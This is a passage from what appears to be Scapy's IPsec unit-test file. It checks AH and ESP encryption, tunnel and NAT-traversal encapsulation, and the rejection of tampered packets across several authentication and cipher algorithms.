verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - AES-CMAC-96 -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', esn_en=True, esn=0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Transport - AES-CMAC-96 - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', esn_en=True, esn=0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an AH layer assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Tunnel ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en=True, esn=0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert d == p ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en=True, esn=0x200) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum assert e.proto == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv4 / UDP / ESP - NAT-Traversal ####################################### = IPv4 / UDP / ESP - NAT-Traversal - Tunnel ~ -crypto p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), nat_t_header=UDP(dport=5000)) e = sa.encrypt(p) e assert isinstance(e, IP) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == '11.11.11.11' and e.dst == '22.22.22.22' assert e.chksum != p.chksum * the encrypted packet should have an UDP layer assert e.proto == socket.IPPROTO_UDP assert e.haslayer(UDP) assert e[UDP].sport == 4500 assert e[UDP].dport == 5000 assert e[UDP].chksum == 0 assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv4 / UDP / ESP - NAT-Traversal - Transport ~ -crypto import socket p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, nat_t_header=UDP(dport=5000)) e = sa.encrypt(p) e assert isinstance(e, IP) assert e.src == '1.1.1.1' and e.dst == '2.2.2.2' assert e.chksum != p.chksum * the encrypted packet should have an UDP layer assert e.proto == socket.IPPROTO_UDP assert e.haslayer(UDP) assert e[UDP].sport == 4500 assert e[UDP].dport == 5000 assert e[UDP].chksum == 0 assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ############################################################################### = IPv6 / ESP - NAT-Traversal - Transport ~ -crypto import socket p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=3333, dport=55) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, nat_t_header=UDP(dport=5000)) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.chksum != p.chksum * the encrypted packet should have an UDP layer assert e.nh == socket.IPPROTO_UDP assert e.haslayer(UDP) assert e[UDP].sport == 4500 assert e[UDP].dport == 5000 assert e[UDP].chksum == 0 assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] assert not d.haslayer(UDP) assert d[Raw] == p[Raw] ############################################################################### + IPv6 / ESP ####################################### = IPv6 / ESP - Transport - NULL - NULL ~ -crypto p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-CCM - NULL ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Transport - AES-CCM - NULL - altered packet ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - NULL - NULL ~ -crypto p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 